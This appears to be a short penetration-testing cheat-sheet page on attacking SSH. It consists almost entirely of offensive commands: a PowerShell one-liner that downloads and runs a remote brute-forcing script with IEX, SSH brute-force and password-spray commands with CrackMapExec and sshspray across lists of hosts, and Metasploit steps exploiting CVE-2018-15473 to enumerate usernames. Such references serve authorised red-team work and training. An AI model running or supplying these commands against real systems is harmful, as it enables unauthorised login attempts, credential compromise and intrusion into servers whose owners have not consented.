SSH
Secure Shell
From Windows:
PS > curl https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe -o plink.exe
PS > IEX(New-Object Net.WebClient).DownloadString("https://github.com/InfosecMatter/SSH-PuTTY-login-bruteforcer/raw/master/ssh-putty-brute.ps1")
PS > ssh-putty-brute -h 192.168.1.11 -p 22 -u root -pw 'Passw0rd!'
PS > ssh-putty-brute -h 192.168.1.11 -p 22 -u root -pw (gc .\passwords.txt)
A list of targets with different SSH ports:
$ das parse ssh -raw | cut -c 7- | awk -F: '{print $1}' > ssh_hosts
$ das parse ssh -raw | cut -c 7- | awk -F: '{print $2}' > ssh_ports
$ paste ssh_hosts ssh_ports | while read host port; do cme ssh $host -u root -p root --port $port; done
Password spray with a private key and passphrase
Passw0rd! using CME:$ cme ssh 192.168.1.11 -u snovvcrash -p 'Passw0rd!' --key-file id_rsa
Using sshspray:
$ python3 sshspray.py -u snovvcrash -i ~/.ssh/id_rsa -t ssh.txt
CVE-2018-15473
msf > use auxiliary/scanner/ssh/ssh_enumusers
msf > set CHECK_FALSE true
msf > set RHOSTS file:ssh.txt
msf > set THREADS 25
msf > set USERNAME root
msf > run
Last modified 1mo ago